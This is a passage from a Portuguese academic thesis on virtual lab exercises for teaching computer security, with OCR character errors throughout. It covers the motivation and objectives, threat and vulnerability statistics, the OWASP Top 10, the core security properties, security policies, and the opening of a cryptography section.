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RESUMO

O trabalho destaca e descreve dois dos principais problemas de inje¢cdo encontrados
na literatura e no dia a dia das organizagdes, relativos a seguranga computacional e
duas das principais ferramentas utilizadas na analise de seguranga computacional.
Cada problema e ferramenta € estudada separadamente e possui um roteiro
laboratorial pratico associado, conduzindo o individuo por uma experiéncia dentro de
um ambiente virtual controlado e preparado para a realizacéo do laboratério, em um
esquema passo a passo.

Nestes roteiros laboratoriais o individuo faz uso de ambientes virtualizados
preparados especialmente para este fim. Desta forma, o maior nimero possivel de
variaveis é controlado dentro do ambiente, o que permite resultados para os testes
mais limpos e potencialmente livres da interferéncia de fatores externos.

A idéia da utilizacao dos roteiros laboratoriais € uma forma de mostrar na pratica ao
individuo os conceitos aprendidos na teoria, permitindo experimentar novas
ferramentas e testar isoladamente as situagdes em estudo. Os resultados esperados
nos roteiros também auxiliam no entendimento do problema, de forma que fornecem
uma garantia de que o individuo realmente realizou o teste ou experimento com

SUCessSo0.
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1 - INTRODUCAO

1.1 - Motivacéao

Em seguranca computacional bem como em varias outras &reas, estudos
laboratoriais s&o importantes para o aprendizado do aluno. O aprendizado obtido em
uma aula de laboratério complementa de forma prética os estudos realizados na
teoria, confrontando a pratica com a teoria em exercicios ou experimentos
preparados exclusivamente para o objeto em estudo. A pratica em laboratério
permite ainda ao aluno a realizagéo de diferentes tipos de testes, utilizando as mais
diversas combinagfes de possibilidades, além de auxiliar na fixacdo do contetdo
aprendido.

A importancia da construgdo e preparo de roteiros laboratoriais, que permitem ao
aluno seguir uma sequéncia de atividades definidas, ndo se d4 apenas pelo fato de
prover estes roteiros de estudo a estes alunos, mas todo o processo de criagcéo e
experimentacdo destes roteiros configura um cenéario onde muito estudo sobre o
tema deve ser feito. Consequentemente diversas ferramentas podem ser testadas e
avaliadas, problemas especificos isolados a fim de se descobrir a causa real para
determinados problemas e o motivo pelos quais eles acontecem.

Outro fator importante a ser levado em consideracdo é que muitas vezes, cometer
um erro como a configuragdo incorreta de um firewall, a instalacdo de ferramentas
de seguranca erradas ou ainda a protecdo inadequada de uma rede ou de um
conjunto de arquivos em um computador, podem causar danos irreversiveis para

uma organizagao ou instituicdo. Para que testes ndo sejam realizados em ambientes



14

onde ndo se tém o direito de errar sem possivelmente causar um potencial prejuizo,

fazemos os testes em ambientes controlados em um laboratério.

1.2 - Descrigéo do problema

Muitas vezes é dificil encontrar o foco de um problema especifico rapidamente em
sistemas computacionais, que sao sistemas na maior parte das vezes complexos.
Sistemas complexos envolvem um nimero muito grande de variaveis, o que os torna
complexos e por ndo se ter o total controle sobre estas variaveis é que encontramos
barreiras diariamente para solucionar um determinado problema. No mundo real,
diversos problemas podem acontecer simultaneamente em um sistema
computacional a0 mesmo tempo em que um numero muito grande de variaveis
podem ser alteradas por diversos fatores aleatérios. Em cenarios como estes o fator
de aleatoriedade muitas vezes predomina, 0 que ndo nos permite ter uma total
certeza sobre o que realmente estd causando o problema no sistema.

A realizag@o de um teste ou de um experimento em laboratério nos permite na maior
parte das vezes, isolarmos certas condi¢cdes, garantindo que todas as outras
variaveis ou a maior parte delas sejam sempre previstas ou pelo menos controladas.
Assim podemos testar apenas 0 objeto em estudo sem nos preocupar com fatores
externos que possam influenciar o resultado do teste.

Como no aprendizado de seguranga computacional muitas vezes queremos apenas
testar ou experimentar um problema isoladamente, a utilizagdo de um ambiente
laboratorial preparado para o caso em questdo pode ser muito Util, pois outros
problemas relativos ou ndo ao que esta sendo estudado n&o irdo interferir nos

resultados do teste ou do experimento.
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1.3 - Objetivo geral

Como objetivo geral, o trabalho visa a criacdo de roteiros laboratoriais, que permitem
ao aluno seguir uma sequéncia de atividades definidas, em ambientes virtualizados
para o ensino pratico de seguranga computacional. O material pode ser
disponibilizado para utilizacdo em laboratérios de ensino de informatica, visando
proporcionar suporte teérico e pratico para algumas atividades especificas que

podem ser realizadas em ambientes controlados.

1.4 - Objetivos especificos

O trabalho tem como objetivos especificos:
e Conceituar os problemas e propriedades de seguranca
e Elencar os principais problemas de inje¢cdo encontrados em aplicagdes web
e Elencar as principais ferramentas de analise de seguranca
o Definir roteiros laboratoriais especificos para os problemas e ferramentas
e Utilizar ambientes virtuais onde possam ser aplicados o0s roteiros

desenvolvidos.

1.5 - Estrutura do trabalho

O trabalho encontra-se dividido em 7 capitulos. O primeiro capitulo apresenta a
introducédo do trabalho, contemplando a motivagédo, a descricdo do problema, o
objetivo geral e objetivos especificos a serem atingidos. O segundo capitulo
apresenta conceitos bésicos de seguranca computacional, mostrando o cenario
atual, as diferentes categorias de problemas encontrados e fundamentando as
propriedades e mecanismos de seguranga computacional. O terceiro capitulo

apresenta os principais problemas de injecdo encontrados em aplicagbes web,
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fazendo uma analise de cada um deles. O quarto capitulo apresenta algumas das
principais ferramentas para andlise da seguranca computacional. O quinto capitulo
aborda o uso de virtualizagdo no ensino de seguranca e alguns trabalhos
relacionados na area. O sexto capitulo traz roteiros laboratoriais para testes em
ambientes virtualizados preparados exclusivamente para este fim. O sétimo capitulo
apresenta as consideragoes finais do trabalho e trabalhos futuros que podem ser
realizados. Para finalizar, o trabalho apresenta as referéncias bibliograficas

utilizadas durante o desenvolvimento.
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2 — CONCEITOS BASICOS DE SEGURANCA COMPUTACIONAL

2.1 - Cenario atual da seguranga

Nos dias de hoje a seguranga computacional torna-se cada vez mais importante e
necesséaria. Um computador estd seguro se este esta livre de ameacgas, entretanto
nem sempre é possivel manter um computador sempre seguro, visto que 0 niumero
de computadores conectados a algum tipo de rede tem aumentado nos ultimos
tempos. Apesar de este ndo ser o Unico fator contribuinte para trazer ameacgas ao
computador, é atualmente uma porta muito grande para a entrada de problemas,
caso algumas medidas de seguranga n&o sejam tomadas.

O fato de termos cada vez mais redes de computadores disponiveis ao nosso
alcance, pode significar um aumento no risco a seguranga, pois se estas redes
estiverem ligadas a rede mundial de computadores, por exemplo, torna-se mais
dificil controlar a seguranca da rede e preveni-la de ataques externos. De qualquer
forma, a tecnologia converge cada vez mais para a conectividade, sendo necesséario,
portanto, tornar os computadores e as redes cada vez mais seguras.

Aplicagcdes web no estilo e-commerce por sua vez, dependem massivamente da
seguranca computacional, pois sem ela estas aplicagbes nao fariam sentido. Ao
efetuar uma compra pela Internet, um usuario espera que seus dados pessoais e
bancéarios sejam mantidos em sigilo, da mesma forma que a empresa que esta
vendendo o produto espera que a transacdo seja efetivada com sucesso e 0s
valores corretos sejam contabilizados. Além disso, existem outras preocupacdes em

uma transacdo como esta, como por exemplo, identificar se o usuario que esté
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efetuando a compra € efetivamente o usuério esperado e ndo outro usuério tentando
se passar pelo usuério legitimo entregando informagdes falsas.

Necessidades como estas mostram que apesar de o mercado ter uma demanda
muito grande por aplicagbes online de transagdes no estilo e-commerce, de nada
adianta um aumento significativo destas aplicagdes e da complexidade destas
aplicacdes se as mesmas néo forem seguras. Neste caso e em outros, a seguranga
computacional estd4 diretamente relacionada com o sucesso e a garantia de
funcionamento da aplicagéo.

A tecnologia estd sempre inovando e trazendo novas solu¢cdes a problemas
existentes, o0 mesmo acontece com o mundo da seguranca computacional. A medida
gue novas tecnologias sdo lancadas novas falhas aparecem e junto com elas os
problemas, pois estas falhas provavelmente seréo investigadas cedo ou tarde por
pessoas oportunistas ou mesmo por pessoas intencionadas a investigar tais falhas e
poderdo se tornar criticas para a seguranca de um computador ou de uma rede.
Aliado ao aumento da tecnologia temos o aumento da conectividade entre
computadores e dispositivos moveis, que em certas ocasifes também podem
apresentar riscos a seguranca da rede caso boas politicas de seguranca néo
estejam bem aplicadas. As configuragbes da rede, dos computadores e o
estabelecimento de politicas de seguranca sdo cruciais para manter o sistema
seguro, pois para efetuar um ataque, basta que o atacante encontre apenas uma
vulnerabilidade no sistema e através da exploragdo desta falha, dependendo da
gravidade do problema, ele podera tomar o controle de parte do sistema ou até do
sistema por completo. Por outro lado, para que a pessoa responsavel pela

seguranca destes computadores e redes possa protegé-los, € necessério eliminar
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todas as possiveis vulnerabilidades do sistema, pois uma Unica porta de entrada
pode ser suficiente para anular todo o restante do trabalho feito.

Com os novos adventos da tecnologia muitos comércios passaram a automatizar os
seus sistemas e alguns segmentos de mercado perceberam que poderiam aumentar
as suas vendas se utilizassem recursos como a Internet. Além dessa grande parte
de estabelecimentos que tomaram consciéncia de que o mundo virtual esti
crescendo e consumindo cada vez mais, surgiram também novas micro e macro
empresas que apostam exclusivamente nas vendas pela Internet, sendo este o seu
anico meio de comunicacédo e venda de produtos e servigcos, pois algumas delas ndo
chegam nem a ter um endereco fisico da loja para que o consumidor possa comprar
um produto ou servigco pessoalmente. Tanto essas empresas que vendem seus
produtos exclusivamente pela Internet quanto outras que apenas aderiram as
vendas pela Internet como parte de suas vendas, investiram recursos e apostaram
gue tais tecnologias como 0 e-commerce aumentariam os seus lucros. Aqui se cria
uma das dependéncias mais importantes hoje da necessidade de seguranca
computacional para o mundo dos negocios virtuais.

Segundo dados da E-Consulting Corp (2010), podemos visualizar o grande

crescimento dos negdcios realizados via Internet no Brasil.

Crescimento Varejo Online
(RS Bilhdes)

W Turismo
H Bens de Consumo

M Autos

2002 2003 2004 2005 2006 2007 2008 2009 2010

Figura 1 - Crescimento do varejo online (E-Consulting Corp., 2010)
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De acordo com a Figura 1, o volume de vendas online em R$ saltou de 4,3 bilhdes
em 2002 para 24,9 bilhdes em 2010, o que j& representa aproximadamente 4,1% do
varejo brasileiro. Ainda podemos visualizar na Figura 1 que o crescimento das
vendas online é constante no periodo analisado e bastante significativo. Além de
servicos de comércio eletrbnico, outros servigcos online, que necessitam de
seguranca computacional também vem aumentando, como € o caso do E-
government, que se caracteriza pelo relacionamento de cidadaos e o governo de
forma virtual.

Para que uma empresa que vende um servigo ou produto online tenha sucesso em
sua venda é preciso que algumas propriedades de seguranga sejam garantidas e
tanto o cliente quanto a empresa tenham 0s seus objetivos atingidos sem efeitos
colaterais. Em um caso especifico para exemplificar podemos citar um cliente que
utiliza o seu cartdo de crédito para comprar um produto online. No ato da compra o
cliente ir4 se identificar digitalmente e ir4 digitar os numeros de seu cartdo de
crédito. Tanto a identidade do cliente quanto seus dados bancérios devem ser
processados de forma sigilosa a fim de ndo serem revelados para outras pessoas e
garantir a seguranca do comprador. J4 para a empresa que vende o produto ou
servigco, além de ser responsavel pela seguranga do cliente que efetua a compra,
precisa assegurar-se de que processara a venda de forma correta, ndo causando
erros de registros em seu sistema. Se um problema ocorre durante a compra devido
a um atagque e o sistema né&o registra a compra, mas debita o valor do cartdo de
crédito do comprador e um aviso de “compra realizada com sucesso” é emitido para
0 Usudrio, isso certamente trara problemas e possiveis processos para a empresa.
Podemos citar ainda a seguranga computacional como uma pega chave para manter

segredos de nivel nacional, segredos bancérios, entre outros dados sigilosos que
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estdo presentes no nosso dia-a-dia como uma simples ligacéo telefonica, a qual ndo
desejamos que outra pessoa possa interceptar e ouvir. Assim a seguranca esta
diretamente ligada ao sucesso e a garantia destas atividades que nos cercam
diariamente.

Quando uma empresa passa a lucrar com uma venda pela Internet, isso pode
significar que outra empresa concorrente desta, deixou de lucrar devido & venda da
primeira. Essa situacdo é corriqueira com empresas que ddo cobertura de vendas
em ambito nacional e internacional. O problema é que quando uma empresa passa
a ter o seu numero de vendas online aumentado, ela acaba ganhando visibilidade, o
que apesar de ser bom para as vendas por outro lado é ruim para pessoas ou
grupos mal intencionados que visam o fracasso das vendas de tal empresa, seja por
motivos de concorréncia ou por motivos pessoais. Desta forma, quando uma
empresa visar o crescimento de vendas na Internet, € importante que ao mesmo
tempo ela preocupe-se com a seguranga que protege 0s seus negocios.

Conforme o grafico do CERT (2011), os dados revelam um aumento nos incidentes

de seguranca envolvendo a Internet de 1999 a 2009.
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Figura 2 - Total de Incidentes Reportados ao CERT.br por Ano (CERT, 2011).
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Apesar de o numero de incidentes ndo ter um aumento constante, podendo
apresentar redugdes por curtos ou longos periodos de tempo, conforme mostra a
Figura 2, ndo devemos pensar que este seria um motivo para deixar de investir em
seguranca. E uma questdo de tempo para que novas falhas e brechas sejam
encontradas, podendo ocorrer que em periodos com uma queda no numero de
incidentes de segurancga, algumas falhas pré-existentes ainda ndo tenham sido
descobertas.

O aumento no numero de ameacas vem fazendo com que mais empresas
preocupem-se com O assunto seguranca. Um dos fatores que levam algumas
empresas a ndo sentirem a necessidade de um investimento maior em seguranca é
o fato de a seguranca ser imensuravel e ndo trazer um retorno visivel para os olhos
de muitos. Entretanto a ndo existéncia de seguranga pode se tornar rapidamente
perceptivel, levando uma empresa a perder credibilidade por causa de incidentes de
seguranca. Como a credibilidade é um fator importante principalmente para o mundo
dos negdcios, muitas empresas comegaram a perceber que realmente vale a pena
investir na seguranga de seus sistemas e redes.

Estatisticas mostram o impacto financeiro causado por algumas ameacas nos

Estados Unidos:

“Segundo a Computer Economics [COM 03], os prejuizos nos Estados Unidos
em 1999 foram de 12,1 bilhdes de ddlares, dos quais 1,2 bilhdo de délares
foram referentes ao virus Melissa. J& o virus | Love You, ou Love Bug, causou,
em 2000, um prejuizo de 6,7 bilhdes de dolares somente nos seus cinco
primeiros dias. Em 2000, os prejuizos chegaram a 17,1 bilhdes de ddlares, ou
seja, um crescimento de mais de 40% com relagdo ao ano anterior. Ja em
2001, os prejuizos estimados foram de 13,2 bilhdes de délares [COM 03]. J& o

Slammer Worm, que atingiu um grande ndmero de sistemas no inicio de 2003,



23

causou prejuizos entre 950 milhdes de dolares e 1,2 bilhdo de ddlares em
perda de produtividade, nos cinco primeiros dias de contaminacdo [LEM

03][mi2g 03].” (NAKAMURA; GEUS, 2007, p. 55)

Com o aumento da preocupagdo das empresas em seguranga, temos como avanco,
60% das empresas pesquisadas dos Estados Unidos possuindo ao menos 1 pessoa
dedicada ao assunto de seguranga. Ja no Brasil, este nimero sobe para 98%

(NAKAMURA; GEUS, 2007, p. 53).

2.2 — Categorias de problemas

2.2.1 — Ameagas

Segundo Bishop (2004, p. 4), uma ameaga é uma potencial violagdo de seguranca.
O fato de uma ameaga representar um risco de violagdo de seguranga nédo significa
gue necessariamente a violagao ira acontecer, mas caso a violagdo aconteca, ela se
concretizara através de um ataque.
Na visdo de Landwehr (2001, p. 6), uma ameaca é uma intencdo de danificar um
sistema. Uma ameaca pode se concretizar através de um ataque de diferentes
formas e por isso, a determinagdo da natureza de uma ameaga contra as defesas
que um sistema deve apresentar, deve guiar as decisbes a serem tomadas a
respeito da arquitetura de seguranga deste sistema.
Shirey (2000, p. 170) divide as ameacgas em 4 classes:

e Disclosure (revelacdo de informacdes): E quando ha acesso n&o autorizado a

informacgoes.
e Deception (fraude): Quando dados falsos séo aceitos se passando por

verdadeiros.
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e Usurpation (usurpacdo): E quando o controle de parte de um sistema ou do
sistema como um todo € tomado.
e Disruption (interrupgéo): E quando ha interrupcdo ou impedimento de uma
operacao legal.
Segundo as classificagcdes de Shirey (2000, p. 170), uma ameaca pode estar em
mais de uma classe ao mesmo tempo.
Desta forma, entendemos como ameaca, tudo aquilo que pode causar algum dano
ao computador, sistema ou rede, manifestando-se através de um ataque por meio

de uma vulnerabilidade, como podemos observar na figura 3 (OWASP [C], 2011).

Threat Attack Security Security Technical Business
Agents Vectors Weaknesses Controls Impacts Impacts

% S - Weakness +u +Contro|
% sn@® Weakness +| +Contro|

_._

Attack sn@® Weakness

@ Weakness H Control

Figura 3 - Esquema relacionando ameacas, ataques e vulnerabilidades (OWASP [C], 2011).

Como viséo geral da origem das ameacas, podemos conferir os dados da Symantec
(2011), como mostra a tabela 1, na qual o Brasil ocupa consecutivamente o 4° lugar

em ranking de ameacas em 2009 e 2010.
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United States

1 1
China 2 16% 2 9%
Germany 3 5% 5 5%
Brazil 4 4% 4 5%
United Kingdom 5 4% 3 6%
India 6 A% 7 3%
South Korea 7 4% 9 3%
Italy a 3% 10 3%
Taiwan 9 3% 6 4%
Russia 10 2% 8 3%

Tabela 1 - Atividade maliciosa por fonte: ranking panoramico, 2009 - 2010 (SYMANTEC, 2011).

2.2.2 —Vulnerabilidades

Landwehr (2001, p. 5) define uma vulnerabilidade como “um ponto fraco em um
sistema de computador.” Essa vulnerabilidade pode ser entre outras coisas, uma
falha em um pedaco de software que roda com privilégios de super usuario, uma
senha fraca ou de facil adivinhagdo, uma regra mal-configurada em um firewall ou
até mesmo a dependéncia de um servico ou parte de uma informacédo externa ao

sistema (LANDWEHR, 2001, p. 5).
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Para Shirey (2000, p.189) a definicdo de uma vulnerabilidade é: “Uma falha ou
fraqueza em um projeto de sistema, implementacdo ou operagdo e gerenciamento
que podem ser explorados para violar a politica de seguranca do sistema.”
As vulnerabilidades podem afetar diferentes niveis, podendo ser desde uma falha de
hardware até os mais altos niveis de software.
A ISO/IEC 27005 (2008, p. 12) classifica algumas das é&reas nas quais
vulnerabilidades podem ser encontradas:

e Organizagao

e Processos e procedimentos

e Gerenciamento de rotinas

e Pessoal

e Ambiente fisico

e Configuragéo de informacao de sistema

e Hardware, software ou equipamentos de comunicagao

e Dependéncia externa
Vulnerabilidades s&o comuns e frequentemente encontramos novas vulnerabilidades
em nossos sistemas, sendo que as mais comuns sdo as de software, devido ao
grande numero de programas e aplicativos presentes em nosso dia-a-dia e suas
constantes atualizagbes, que podem muitas vezes, conter falhas de software
(“software bugs”).
Além das falhas de software outros elementos podem ocasionar vulnerabilidades,
como falhas no gerenciamento de senhas, falhas no projeto de sistemas
operacionais e até mesmo entradas de usuario nao verificadas (VACCA, 2009,

p.392).



27

7000

6000 6253
5562
5000 —
4842 4644 4814
= 4000
=
=
L=}
E
<
3000
2000
1000
0
2006 2007 2008 2009 2010

Vulnerabilities

Figura 4 - Total de vulnerabilidades identificadas, 2006-2010 (SYMANTEC, 2011).

O numero de vulnerabilidades reportadas ao ano tem aumentado de 2006 a 2010
segundo dados da Symantec (2011) como podemos ver na figura 4, o que
demonstra que devemos constantemente nos preocupar em identificar e corrigir
vulnerabilidades em nossos sistemas, a fim de reduzir ao méximo os riscos aos

quais estamos expostos.
2.2.3 — Ataques

Um ataque € uma acdo que pode causar uma violagdo de seguranca (BISHOP,
2004, p. 4). Enquanto uma ameacga representa apenas um risco da ocorréncia de
uma acdo de violacdo de seguranca, um ataque € a concretizagdo desta acdo. O
individuo ou grupo de individuos que executam um ataque ou fazem com que um
ataque acontecga sdo chamados de atacantes.

Segundo a referéncia OWASP [A] (2011) “Ataques sdo as técnicas que o0s atacantes

usam para explorar as vulnerabilidades em aplicages”.
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Da mesma forma como a natureza das ameacas pode variar, as categorias dos
ataques também sdao flexiveis. Ao longo do tempo a natureza dos ataques apresenta
variacdes, sendo que alguns deles mantém-se no cenario atual, outros foram
extintos e alguns novos passaram a existir (RICHARDSON, 2009, p. 6).

A tabela 2 mostra o cenario dos 10 problemas mais criticos em segurangca que
atingem as aplicacbes web. De forma notavel, os problemas de injecdo como SQL

Injection e Cross Site Scription (XSS), mantém-se no topo da tabela.

OWASP Top 10 — 2007 (Previous) OWASP Top 10 — 2010 (New)

A2 - Injection Flaws Al - Injection

Al - Cross Site Scripting (XSS) A2 - Cross-Site Scripting (XSS)

A7 — Broken Authentication and Session Management A3 — Broken Authentication and Session Management
A4 — Insecure Direct Object Reference A4 — Insecure Direct Object References

A5 — Cross Site Request Forgery (CSRF) AS — Cross-Site Request Forgery (CSRF)

<was T10 2004 A10 — Insecure Configuration Management> A6 — Security Misconfiguration (NEW)

A8 — Insecure Cryptographic Storage A7 — Insecure Cryptographic Storage

A10 - Failure to Restrict URL Access A8 - Failure to Restrict URL Access

A9 — Insecure Communications A9 - Insufficient Transport Layer Protection

<not in T10 2007> A10 — Unvalidated Redirects and Forwards (NEW)
A3 — Malicious File Execution <dropped from T10 2010>

A6 — Information Leakage and Improper Error Handling <dropped from T10 2010>

Tabela 2 - Tabela dos 10 problemas mais criticos de seguranca em aplicagdes web (OWASP [C], 2011).

2.3 —Propriedades de seguranca

A seguranca computacional apoia-se em 3 pilares segundo Bishop (2004, p. 1):
Confidencialidade, integridade e disponibilidade.

Na visdo de Landwehr (2001, p. 6), por muitos anos apenas as 3 propriedades
citadas por Bishop formavam a base da seguranga computacional, mas para ele, 2
novas propriedades passaram a integrar este conjunto: autenticidade e né&o-

repudiagao.
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2.3.1 — Confidencialidade

A propriedade de confidencialidade deve garantir que as informagdes na
computacdo ndo sejam divulgadas sem a apropriada autorizacdo (LANDWEHR,
2001, p. 6). Também deve-se garantir que a comunica¢do ndo possa ser lida por
terceiros ndo autorizados (VACCA, 2009, p. 243).

Bishop (2004, p. 2) define confidencialidade como o “ocultamento de informagdes ou
recursos”. Para ele, a necessidade de manter as informagdes sigilosas provém da
utilizagdo de computadores em campos sensiveis como o governo e a industria.

A confidencialidade pode ser atacada de diferentes formas, uma delas, por exemplo,
€ através da interceptacdo de dados, na qual um terceiro (também chamado de
homem do meio), intercepta a comunicagdo de dados entre as partes legitimas
envolvidas e captura as informagdes transmitidas. Este tipo de ataque pode se dar
atraveés da andlise do trdfego de uma rede. (VACCA, 2009, p. 244).

Ainda analisando o trafego da rede é possivel que o interceptador determine o
conteddo da comunicacdo, através de uma andlise do comportamento das
transferéncias de dados. Por exemplo, atividades na rede causadas por
transferéncias curtas de dados podem ser originarias da emulagdo de um terminal
ou de mensagens instantaneas, enquanto que atividades na rede causadas por
transferéncias longas e constantes de dados podem ser originarias de uma
videoconferéncia. (VACCA, 2009, p. 244).

Se imaginarmos um cendério, no qual a troca de um determinado tipo de mensagem
é proibida, como por exemplo, a transferéncia de um stream de video, o simples fato
de um stream de video ser detectado é mais importante do que o contetido do video

propriamente dito.
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E por esse motivo que muitas vezes desejamos esconder a existéncia dos dados,
pois em alguns casos, a existéncia dos dados acaba sendo mais importante do que
0 seu conteudo (BISHOP, 2004, p. 2).

Quando estamos tratando de uma transacdo de negocios 0 requisito mais
importante é a confidencialidade, pois caso os dados da transacao forem revelados
a terceiros ndo autorizados, os dados do usuario legitimo podem ser utilizados em
operagbes fraudulentas (BELAPURKAR; CHAKRABARTI; PONNAPALLI;
VARADARAJAN, 2009, p. 44).

Esconder recursos, também é importante para a confidencialidade, como no caso de
um servidor web, por exemplo, que n&o deseja que seus visitantes tenham acesso a
informacdes sobre o tipo de sistema operacional que esta sendo utilizado, nem o
namero de conexdes maxima permitidas em um dado momento (BISHOP, 2004, p.

2).
2.3.2 — Integridade

A propriedade de integridade deve garantir que as informac¢des na computagdo nao
sejam modificadas sem a apropriada autorizagédo (LANDWEHR, 2001, p. 6).

A integridade inclui integridade dos dados (o conteddo da informacdo) e a
integridade da origem (a fonte dos dados). A fonte dos dados é importante por
garantir a exatidao e principalmente a credibilidade das informagdes (BISHOP, 2004,
p. 3).

Quando tratamos de uma transacéo online, a integridade € um fator chave, pois ha a
necessidade da garantia de que um dado enviado por um remetente A, chegue ao
destinatario B sem que tenha sido modificado durante o percurso. O dado precisa

ser vélido e estar correto, além disso, € necesséario também que o destinatario B

possa ter certeza de que o dado enviado partiu do remetente A (garantia de
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autenticidade). A violacédo a integridade pode se dar por diversos fatores, tais como,
a interceptacdo e violacdo explicita dos dados, erros de transmisséo, virus ou até
mesmo por problemas causados por desastres naturais. Como formas de garantir a
integridade dos dados, podemos utilizar técnicas como autenticagdo e assinatura
digital (BELAPURKAR; CHAKRABARTI; PONNAPALLI; VARADARAJAN, 2009, p.
44).

A checagem da integridade das mensagens transmitidas € importante para impedir a
aceitacdo de mensagens modificadas por um terceiro (ataque do homem do meio)
ou a aceitacdo de mensagens de uma fonte que ndo seja legitima (VACCA, 2009, p.

244).
2.3.3 — Disponibilidade

A propriedade de disponibilidade deve garantir que as informagdes na computagao
estejam disponiveis para autenticar usuarios quando solicitado (LANDWEHR, 2001,
p. 6).

Bishop (2004, p. 4) define disponibilidade como “a habilidade de utilizar a informacéo
ou recurso desejado.”

Entretanto a afirmacdo de Belapurkar; Chakrabarti; Ponnapalli; Varadarajan
completa a definicdo de Bishop: “qualquer parte da informacéo deve estar disponivel
para 0s usuérios autorizados quando eles precisarem.” (BELAPURKAR,;
CHAKRABARTI; PONNAPALLI; VARADARAJAN, 2009, p. 45).

A disponibilidade é um fator importante para a construgéo da confiabilidade, pois um
sistema indisponivel é tdo ruim, quanto nao ter sistema algum (BISHOP, 2004, p. 4).
A disponibilidade pode ser afetada algumas vezes por fatores fisicos como uma
falha de disco, ou até mesmo por fatores de comunicagcdo, como erros de

transmissdo ou interrupgdo do canal de comunicagéo. Entretanto, um dos ataques
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mais classicos a disponibilidade é a negacédo de servigco (DoS — Denial of Service),
no qual o atacante utiliza um ou mais computadores para atacar um alvo,
requisitando muitas conexdes com o servidor alvo e fazendo-o chegar ao seu limite
maximo de oferta de conexdfes, até que entdo, o servidor passa a recusar novas
conexdes (BELAPURKAR; CHAKRABARTI; PONNAPALLI; VARADARAJAN, 2009,

p. 45).
2.3.4 — Autenticidade

A propriedade de autenticidade deve garantir que cada individuo € quem ele alega
ser (LANDWEHR, 2001, p. 6).

A utilizagdo de senhas como Unico meio de protecdo a sistemas de seguranca, ja
ndo é mais suficiente para manter a seguran¢a, quando se trata de aplicativos e
sistemas criticos ou de alta importancia, como por exemplo a efetivacdo de
transagOes bancarias online (ACKER; BACKER, 2007, p. 3).

Partindo deste ponto, surge a necessidade da criagdo de novos mecanismos de

autenticacao, 0s quais serao vistos no capitulo 2.5.2.
2.3.5 - Ndo-Repudiagéo

A propriedade de nado-repudiagcéo deve garantir que um terceiro qualquer possa ter
certeza de que uma transagdo particular ou evento, aconteceu ou ndo aconteceu
(LANDWEHR, 2001, p. 6).

N&o ha utilidade nenhuma em atribuir um valor legal a uma transagéo se, facilmente
0 autor da transacdo podera negé-la posteriormente. Por isso garantir a propriedade
de ndo-repudiacdo, é garantir que o autor da transagdo ndo possa nega-la
futuramente, associando definitivamente a autoria da transacdo com o seu legitimo

autor (ACKER; BACKER, 2007, p. 2).
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2.4 - Politicas de Seguranca

Politicas de seguranca para computacdo sdo como leis para a sociedade. Séo
regras que regem o que pode e o0 que nédo pode ser feito. De acordo com a definigcéo
1-1, capitulo 1 de Bishop (2004, p. 7) “Uma politica de seguranga é uma sentenca do
gue é e do que nao é permitido.”

As politicas de seguranca séo utilizadas para atingir um determinado objetivo e séo
a base do planejamento de seguranca de um sistema, rede ou de uma organizagao
como um todo, por isso devem ser cuidadosamente pensadas e planejadas, afim de
que sejam bem definidas para o fim especifico. Politicas de seguranca mal
planejadas ou mal especificadas podem causar sérios problemas a organizagédo ou
entidade para a qual foi designada. A méa formacédo ou a falta de precisdo de uma
regra na politica de seguranca pode causar ambigiidade na interpretagdo da
mesma, ndo deixando claro se uma determinada acdo é ou nédo é permitida. Essa
imprecisdo podera levar a uma dificuldade na aplicacdo da regra ou até em sua
aplicacao incorreta.

Para que a politica de seguranca seja bem elaborada, € necessario agir de forma
pro-ativa e fazer uma analise dos riscos antecipadamente, evitando a abordagem
reativa em relacédo a seguranca.

Segundo Nakamura e Geus (2007, p. 192), existem alguns fatores que podem
determinar o sucesso da politica de seguranca:

Vigilancia: E necessério vigiar constantemente os sistemas e a rede e saber
responder corretamente aos alarmes e alertas, evitando que possiveis incidentes de

seguranca passem despercebidos e ndo sejam tratados.
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Atitude: E necessario educar, conscientizar e treinar o grupo de pessoas que
administra a rede e ou sistema a fim de que tenham uma conduta adequada perante
a politica de seguranca estabelecida e possam aplica-la e fazé-la valer.

Estratégia: E necessario definir a politica de seguranca levando em conta o
ambiente na qual esta sendo aplicada, evitando, por exemplo, que as regras
definidas interfiram negativamente na produtividade dos membros que compartilham
a rede ou sistema.

Tecnologia: A tecnologia utilizada deve atender as necessidades estratégicas da
rede ou sistema, pois caso a tecnologia utilizada ndo tenha boa qualidade ou mesmo
ndo seja suficiente para atender tais necessidades, uma falsa sensagdo de
seguranca pode ser criada. Este fato configura um cenério ainda pior, no qual as
pessoas passam a se utilizar dos recursos da rede ou sistema, acreditando estarem

seguras, quando na verdade estao vulneraveis.

2.5 — Mecanismos e técnicas de seguranca

Segundo a definicdo de Bishop (2004, p. 7), “um mecanismo de seguranga € um
método, ferramenta ou procedimento para reforcar a politica de segurancga”.

Mecanismos de seguranca podem algumas vezes ndo serem téchicos, como por
exemplo, a exigéncia de uma prova fisica de identidade para a troca de uma senha.
As vezes a politica de seguranca pode interferir com exigéncias, de forma a tornar

alguns mecanismos néo técnicos (BISHOP, 2004, p. 7).
2.5.1 — Criptografia

Knudsen (1998, p. 6) define criptografia como “a ciéncia da escrita secreta.”
Para Nakamura e Geus (2007, p. 301), criptografia é€: “A ciéncia de manter as

mensagens seguras”.
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A criptografia tem um papel fundamental na seguranga da informagéo, pois serve de
base para muitas outras tecnologias e protocolos, tais como a infra-estrutura de
chaves publicas (PKI). Propriedades da criptografia, como o sigilo, a integridade, a
autenticacdo e o ndo-repudio garantem o funcionamento de operac¢des essenciais
no cenario atual (NAKAMURA; GEUS, 2007, p. 301).

Através de um processo de crifragem, os dados passam por um algoritmo
criptografico que transforma a mensagem original legivel (plaintext) em um conjunto
de dados ilegivel (cyphertext). Posteriormente um processo de decifragem
transforma o conjunto de dados ilegivel (cyphertext) novamente em texto original e
legivel (NAKAMURA; GEUS, 2007, p. 301).

Tanto para cifrar quanto para decifrar mensagens, utilizamos uma chave para
alimentar o algoritmo. Dependendo do algoritmo podemos ter 2 metodologias
distintas para o sistema de criptografia:

e Simétrica ou sistema criptogréfico de chave secreta: Nesta abordagem o
algoritmo criptografico € o mesmo tanto para cifrar, quanto para decifrar as
mensagens e em ambos 0s casos, utiliza-se a mesma chave para efetuar a
operacdo. Por isso a chave utilizada € chamada de chave secreta, pois
somente as partes envolvidas devem ter conhecimento da chave.

e Assimétrica ou sistema criptogréfico de chave publica: Nesta abordagem o
algoritmo criptografico € diferente para o processo de cifragem e decifragem,
da mesma forma como as chaves utilizadas em ambos os algoritmos também
